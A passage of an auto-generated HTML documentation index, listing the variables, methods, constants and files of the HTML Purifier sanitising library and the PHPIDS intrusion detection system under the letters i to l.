href="default/HTMLPurifier_HTMLDefinition.html#var$info_tag_transform">HTMLPurifier_HTMLDefinition::$info_tag_transform</a> in HTMLDefinition.php</div> - <div class="index-item-description">Associative array of deprecated tag name to HTMLPurifier_TagTransform</div> - </dd> - <dt class="field"> - <span class="var-title">$info_tag_transform</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$info_tag_transform">HTMLPurifier_HTMLModule::$info_tag_transform</a> in HTMLModule.php</div> - <div class="index-item-description">Associative array of deprecated tag name to HTMLPurifier_TagTransform</div> - </dd> - <dt class="field"> - <span class="var-title">$init</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#var$init">HTMLPurifier_ChildDef_StrictBlockquote::$init</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="var-title">$injectors</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#var$injectors">HTMLPurifier_Strategy_MakeWellFormed::$injectors</a> in MakeWellFormed.php</div> - <div class="index-item-description">Injectors active in this stream processing.</div> - </dd> - <dt class="field"> - <span class="var-title">$inline</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Chameleon.html#var$inline">HTMLPurifier_ChildDef_Chameleon::$inline</a> in Chameleon.php</div> - <div class="index-item-description">Instance of the definition object to use when inline. Usually stricter.</div> - </dd> - <dt class="field"> - <span class="var-title">$inputIndex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$inputIndex">HTMLPurifier_Injector::$inputIndex</a> in Injector.php</div> - <div class="index-item-description">Reference to InputIndex variable in Context. This is an integer array index for $this->inputTokens that indicates what token is currently being processed.</div> - </dd> - <dt class="field"> - <span class="var-title">$inputTokens</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$inputTokens">HTMLPurifier_Injector::$inputTokens</a> in Injector.php</div> - <div class="index-item-description">Reference to InputTokens variable in Context. This is an array list of the input tokens that are being processed.</div> - </dd> - <dt class="field"> - <span class="var-title">$interchange</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#var$interchange">HTMLPurifier_ConfigSchema_Validator::$interchange</a> in Validator.php</div> - <div class="index-item-description">Easy to access global objects.</div> - </dd> - <dt class="field"> - <span class="var-title">$interchange</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html#var$interchange">HTMLPurifier_ConfigSchema_Builder_Xml::$interchange</a> in Xml.php</div> - </dd> - <dt class="field"> - <span class="var-title">$internalPrecision</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#var$internalPrecision">HTMLPurifier_UnitConverter::$internalPrecision</a> in UnitConverter.php</div> - <div class="index-item-description">Bcmath precision for internal calculations.</div> - </dd> - <dt class="field"> - <span class="var-title">$intValidator</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Filter.html#var$intValidator">HTMLPurifier_AttrDef_CSS_Filter::$intValidator</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="var-title">$ip4</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_IPv4.html#var$ip4">HTMLPurifier_AttrDef_URI_IPv4::$ip4</a> in IPv4.php</div> - <div class="index-item-description">IPv4 regex, protected so that IPv6 can reuse it</div> - </dd> - <dt class="field"> - <span class="var-title">$ipv4</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Host.html#var$ipv4">HTMLPurifier_AttrDef_URI_Host::$ipv4</a> in Host.php</div> - <div class="index-item-description">Instance of HTMLPurifier_AttrDef_URI_IPv4 sub-validator</div> - </dd> - <dt class="field"> - <span class="var-title">$ipv6</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Host.html#var$ipv6">HTMLPurifier_AttrDef_URI_Host::$ipv6</a> in Host.php</div> - <div class="index-item-description">Instance of HTMLPurifier_AttrDef_URI_IPv6 sub-validator</div> - </dd> - <dt class="field"> - <span class="var-title">$isValid</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#var$isValid">HTMLPurifier_Length::$isValid</a> in Length.php</div> - <div class="index-item-description">Whether or not this length is valid. Null if not calculated yet.</div> - </dd> - <dt class="field"> - <span class="var-title">$is_tag</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Tag.html#var$is_tag">HTMLPurifier_Token_Tag::$is_tag</a> in Tag.php</div> - <div class="index-item-description">Static bool marker that indicates the class is a tag.</div> - </dd> - <dt class="field"> - <span class="var-title">$is_whitespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Text.html#var$is_whitespace">HTMLPurifier_Token_Text::$is_whitespace</a> in Text.php</div> - <div class="index-item-description">< Parsed character data of text.</div> - </dd> - <dt class="field"> - <span class="include-title">Interface.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Interface.php.html">Interface.php</a> in Interface.php</div> - </dd> - <dt class="field"> - <span class="method-title">id</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodid">HTMLPurifier_ConfigSchema_InterchangeBuilder::id()</a> in InterchangeBuilder.php</div> - <div class="index-item-description">Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id object based on a string Id.</div> - </dd> - <dt class="field"> - IDS_Caching - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching.html">IDS_Caching</a> in Factory.php</div> - <div class="index-item-description">Caching factory</div> - </dd> - <dt class="field"> - IDS_Caching_Database - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Database.html">IDS_Caching_Database</a> in Database.php</div> - <div class="index-item-description">Database caching wrapper</div> - </dd> - <dt class="field"> - IDS_Caching_File - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_File.html">IDS_Caching_File</a> in File.php</div> - <div class="index-item-description">File caching wrapper</div> - </dd> - <dt class="field"> - IDS_Caching_Interface - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a> in Interface.php</div> - <div class="index-item-description">Caching wrapper interface</div> - </dd> - <dt class="field"> - IDS_Caching_Memcached - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html">IDS_Caching_Memcached</a> in Memcached.php</div> - <div class="index-item-description">File caching wrapper</div> - </dd> - <dt class="field"> - IDS_Caching_Session - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html">IDS_Caching_Session</a> in Session.php</div> - <div class="index-item-description">File caching wrapper</div> - </dd> - <dt class="field"> - IDS_Converter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html">IDS_Converter</a> in Converter.php</div> - <div class="index-item-description">PHPIDS specific utility class to convert charsets manually</div> - </dd> - <dt class="field"> - IDS_Event - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html">IDS_Event</a> in Event.php</div> - <div class="index-item-description">PHPIDS event object</div> - </dd> - <dt class="field"> - IDS_Filter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html">IDS_Filter</a> in Filter.php</div> - <div class="index-item-description">PHPIDS Filter object</div> - </dd> - <dt class="field"> - IDS_Filter_Storage - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html">IDS_Filter_Storage</a> in Storage.php</div> - <div class="index-item-description">Filter Storage</div> - </dd> - <dt class="field"> - IDS_Init - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html">IDS_Init</a> in Init.php</div> - <div class="index-item-description">Framework initiation</div> - </dd> - <dt class="field"> - IDS_Log_Composite - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html">IDS_Log_Composite</a> in Composite.php</div> - <div class="index-item-description">Log Composite</div> - </dd> - <dt class="field"> - IDS_Log_Database - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html">IDS_Log_Database</a> in Database.php</div> - <div class="index-item-description">Database logging wrapper</div> - </dd> - <dt class="field"> - IDS_Log_Email - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html">IDS_Log_Email</a> in Email.php</div> - <div class="index-item-description">Email logging wrapper</div> - </dd> - <dt class="field"> - IDS_Log_File - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html">IDS_Log_File</a> in File.php</div> - <div class="index-item-description">File logging wrapper</div> - </dd> - <dt class="field"> - IDS_Log_Interface - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a> in Interface.php</div> - <div class="index-item-description">Interface for logging wrappers</div> - </dd> - <dt class="field"> - IDS_Monitor - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html">IDS_Monitor</a> in Monitor.php</div> - <div class="index-item-description">Monitoring engine</div> - </dd> - <dt class="field"> - IDS_Report - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html">IDS_Report</a> in Report.php</div> - <div class="index-item-description">PHPIDS report object</div> - </dd> - <dt class="field"> - <span class="method-title">init</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodinit">IDS_Init::init()</a> in Init.php</div> - <div class="index-item-description">Returns an instance of this class. Also a PHP version check is being performed to avoid compatibility problems with PHP < 5.1.6</div> - </dd> - <dt class="field"> - <span class="include-title">Init.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Init.php.html">Init.php</a> in Init.php</div> - </dd> - <dt class="field"> - INIT_PHASE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constINIT_PHASE">HTML5TreeConstructer::INIT_PHASE</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">instance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#methodinstance">HTMLPurifier_DefinitionCacheFactory::instance()</a> in DefinitionCacheFactory.php</div> - <div class="index-item-description">Retrieves an instance of global definition cache factory.</div> - </dd> - <dt class="field"> - <span class="method-title">instance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#methodinstance">HTMLPurifier::instance()</a> in HTMLPurifier.php</div> - <div class="index-item-description">Singleton for enforcing just one HTML Purifier in your system</div> - </dd> - <dt class="field"> - <span class="method-title">instance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#methodinstance">HTMLPurifier_LanguageFactory::instance()</a> in LanguageFactory.php</div> - <div class="index-item-description">Retrieve sole instance of the factory.</div> - </dd> - <dt class="field"> - <span class="method-title">instance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methodinstance">HTMLPurifier_ConfigSchema::instance()</a> in ConfigSchema.php</div> - <div class="index-item-description">Retrieves an instance of the application-wide configuration definition.</div> - </dd> - <dt class="field"> - <span class="method-title">instance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityLookup.html#methodinstance">HTMLPurifier_EntityLookup::instance()</a> in EntityLookup.php</div> - <div class="index-item-description">Retrieves sole instance of the object.</div> - </dd> - <dt class="field"> - <span class="method-title">instance</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URISchemeRegistry.html#methodinstance">HTMLPurifier_URISchemeRegistry::instance()</a> in URISchemeRegistry.php</div> - <div class="index-item-description">Retrieve sole instance of the registry.</div> - </dd> - <dt class="field"> - INT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constINT">HTMLPurifier_VarParser::INT</a> in VarParser.php</div> - </dd> - <dt class="field"> - IN_BODY - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_BODY">HTML5TreeConstructer::IN_BODY</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_CAPTION - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_CAPTION">HTML5TreeConstructer::IN_CAPTION</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_CELL - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_CELL">HTML5TreeConstructer::IN_CELL</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_CGROUP - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_CGROUP">HTML5TreeConstructer::IN_CGROUP</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_FRAME - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_FRAME">HTML5TreeConstructer::IN_FRAME</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_HEAD - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_HEAD">HTML5TreeConstructer::IN_HEAD</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_ROW - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_ROW">HTML5TreeConstructer::IN_ROW</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_SELECT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_SELECT">HTML5TreeConstructer::IN_SELECT</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_TABLE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_TABLE">HTML5TreeConstructer::IN_TABLE</a> in PH5P.php</div> - </dd> - <dt class="field"> - IN_TBODY - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constIN_TBODY">HTML5TreeConstructer::IN_TBODY</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">isEmpty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodisEmpty">IDS_Report::isEmpty()</a> in Report.php</div> - <div class="index-item-description">Checks if any events are registered</div> - </dd> - <dt class="field"> - <span class="method-title">isFinalized</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodisFinalized">HTMLPurifier_Config::isFinalized()</a> in Config.php</div> - <div class="index-item-description">Checks whether or not the configuration object is finalized.</div> - </dd> - <dt class="field"> - <span class="method-title">isOld</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodisOld">HTMLPurifier_DefinitionCache::isOld()</a> in DefinitionCache.php</div> - <div class="index-item-description">Tests whether or not a key is old with respect to the configuration's version and revision number.</div> - </dd> - <dt class="field"> - <span class="method-title">isSpamAttempt</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodisSpamAttempt">IDS_Log_Email::isSpamAttempt()</a> in Email.php</div> - <div class="index-item-description">Detects spam attempts</div> - </dd> - <dt class="field"> - ISTRING - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constISTRING">HTMLPurifier_VarParser::ISTRING</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">isValid</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#methodisValid">HTMLPurifier_Length::isValid()</a> in Length.php</div> - <div class="index-item-description">Returns true if this length unit is valid.</div> - </dd> - <dt class="field"> - ITEXT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constITEXT">HTMLPurifier_VarParser::ITEXT</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="include-title">Interface.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Interface.php.html">Interface.php</a> in Interface.php</div> - </dd> - <dt class="field"> - <span class="include-title">ImportantDecorator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---ImportantDecorator.php.html">ImportantDecorator.php</a> in ImportantDecorator.php</div> - </dd> - <dt class="field"> - <span class="include-title">ID.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---ID.php.html">ID.php</a> in ID.php</div> - </dd> - <dt class="field"> - <span class="include-title">Integer.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---Integer.php.html">Integer.php</a> in Integer.php</div> - </dd> - <dt class="field"> - <span class="include-title">IPv4.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---URI---IPv4.php.html">IPv4.php</a> in IPv4.php</div> - </dd> - <dt class="field"> - <span class="include-title">IPv6.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---URI---IPv6.php.html">IPv6.php</a> in IPv6.php</div> - </dd> - <dt class="field"> - <span class="include-title">ImgRequired.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---ImgRequired.php.html">ImgRequired.php</a> in ImgRequired.php</div> - </dd> - <dt class="field"> - <span class="include-title">ImgSpace.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---ImgSpace.php.html">ImgSpace.php</a> in ImgSpace.php</div> - </dd> - <dt class="field"> - <span class="include-title">Input.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---Input.php.html">Input.php</a> in Input.php</div> - </dd> - <dt class="field"> - <span class="include-title">Id.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Interchange---Id.php.html">Id.php</a> in Id.php</div> - </dd> - <dt class="field"> - <span class="include-title">Interchange.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Interchange.php.html">Interchange.php</a> in Interchange.php</div> - </dd> - <dt class="field"> - <span class="include-title">InterchangeBuilder.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---InterchangeBuilder.php.html">InterchangeBuilder.php</a> in InterchangeBuilder.php</div> - </dd> - <dt class="field"> - <span class="include-title">Image.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Image.php.html">Image.php</a> in Image.php</div> - </dd> - <dt class="field"> - <span class="include-title">IDAccumulator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---IDAccumulator.php.html">IDAccumulator.php</a> in IDAccumulator.php</div> - </dd> - <dt class="field"> - <span class="include-title">Injector.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector.php.html">Injector.php</a> in Injector.php</div> - </dd> - </dl> - <a name="k"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">k</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$keys</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#var$keys">HTMLPurifier_ContentSets::$keys</a> in ContentSets.php</div> - <div class="index-item-description">Synchronized list of defined content sets (keys of info)</div> - </dd> - <dt class="field"> - <span class="var-title">$keys</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#var$keys">HTMLPurifier_LanguageFactory::$keys</a> in LanguageFactory.php</div> - <div class="index-item-description">Valid keys in the HTMLPurifier_Language object. Designates which variables to slurp out of a message file.</div> - </dd> - <dt class="field"> - <span class="method-title">kses</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.kses.php.html#functionkses">kses()</a> in HTMLPurifier.kses.php</div> - </dd> - </dl> - <a name="l"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">l</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$length</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_BackgroundPosition.html#var$length">HTMLPurifier_AttrDef_CSS_BackgroundPosition::$length</a> in BackgroundPosition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$levels</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#var$levels">HTMLPurifier_HTMLModule_Tidy::$levels</a> in Tidy.php</div> - <div class="index-item-description">List of supported levels. Index zero is a special case "no fixes" level.</div> - </dd> - <dt class="field"> - <span class="var-title">$line</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#var$line">HTMLPurifier_Token::$line</a> in Token.php</div> - </dd> - <dt class="field"> - <span class="var-title">$lines</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$lines">HTMLPurifier_ErrorCollector::$lines</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$locale</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$locale">HTMLPurifier_ErrorCollector::$locale</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$loggers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#var$loggers">IDS_Log_Composite::$loggers</a> in Composite.php</div> - <div class="index-item-description">Holds registered logging wrapper</div> - </dd> - <dt class="field"> - <span class="var-title">$lookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html#var$lookup">HTMLPurifier_ContentSets::$lookup</a> in ContentSets.php</div> - <div class="index-item-description">List of content set lookups (element => true) indexed by name.</div> - </dd> - <dt class="field"> - LINENO - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#constLINENO">HTMLPurifier_ErrorCollector::LINENO</a> in ErrorCollector.php</div> - <div class="index-item-description">Identifiers for the returned error array. These are purposely numeric so list() can be used.</div> - </dd> - <dt class="field"> - <span class="method-title">listify</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodlistify">HTMLPurifier_Printer::listify()</a> in Printer.php</div> - <div class="index-item-description">Takes a list of strings and turns them into a single list</div> - </dd> - <dt class="field"> - <span class="method-title">listify</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#methodlistify">HTMLPurifier_Language::listify()</a> in Language.php</div> - <div class="index-item-description">Converts an array list into a string readable representation</div> - </dd> - <dt class="field"> - <span class="method-title">listifyAttr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodlistifyAttr">HTMLPurifier_Printer_HTMLDefinition::listifyAttr()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Listifies a hash of attributes to AttrDef classes</div> - </dd> - <dt class="field"> - <span class="method-title">listifyObjectList</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodlistifyObjectList">HTMLPurifier_Printer_HTMLDefinition::listifyObjectList()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Listifies a list of objects by retrieving class names and internal state</div> - </dd> - <dt class="field"> - <span class="method-title">listifyTagLookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodlistifyTagLookup">HTMLPurifier_Printer_HTMLDefinition::listifyTagLookup()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Listifies a tag lookup table.</div> - </dd> - <dt class="field"> - <span class="method-title">load</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#methodload">HTMLPurifier_Language::load()</a> in Language.php</div> - <div class="index-item-description">Loads language object with necessary info from factory cache</div> - </dd> - <dt class="field"> - <span class="method-title">load</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_IDAccumulator.html#methodload">HTMLPurifier_IDAccumulator::load()</a> in IDAccumulator.php</div> - <div class="index-item-description">Load a list of IDs into the lookup table</div> - </dd> - <dt class="field"> - <span class="method-title">loadArray</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodloadArray">HTMLPurifier_Config::loadArray()</a> in Config.php</div> - <div class="index-item-description">Loads configuration values from an array with the following structure:</div> - </dd> - <dt class="field"> - <span class="method-title">loadArray</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Context.html#methodloadArray">HTMLPurifier_Context::loadArray()</a> in Context.php</div> - <div class="index-item-description">Loads a series of variables from an associative array</div> - </dd> - <dt class="field"> - <span class="method-title">loadArrayFromForm</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodloadArrayFromForm">HTMLPurifier_Config::loadArrayFromForm()</a> in Config.php</div> - <div class="index-item-description">Loads configuration values from $_GET/$_POST that were posted</div> - </dd> - <dt class="field"> - <span class="method-title">loadIni</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodloadIni">HTMLPurifier_Config::loadIni()</a> in Config.php</div> - <div class="index-item-description">Loads configuration values from an ini file</div> - </dd> - <dt class="field"> - <span class="method-title">loadLanguage</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#methodloadLanguage">HTMLPurifier_LanguageFactory::loadLanguage()</a> in LanguageFactory.php</div> - <div class="index-item-description">Loads language into the cache, handles message file and fallbacks</div> - </dd> - <dt class="field"> - LOOKUP - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constLOOKUP">HTMLPurifier_VarParser::LOOKUP</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">lookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodlookup">HTMLPurifier_ConfigSchema_InterchangeBuilder::lookup()</a> in InterchangeBuilder.php</div> - <div class="index-item-description">Converts an array list into a lookup array.</div> - </dd> - <dt class="field"> - <span class="include-title">Length.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Length.php.html">Length.php</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="include-title">ListStyle.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---ListStyle.php.html">ListStyle.php</a> in ListStyle.php</div> - </dd> - <dt class="field"> - <span class="include-title">Length.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---Length.php.html">Length.php</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="include-title">LinkTypes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---LinkTypes.php.html">LinkTypes.php</a> in LinkTypes.php</div> - </dd> - <dt class="field"> - <span class="include-title">Lang.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---Lang.php.html">Lang.php</a> in Lang.php</div> - </dd> - <dt class="field"> - <span class="include-title">Lang.php</span> - </dt> - <dd class="index-item-body"> - <div 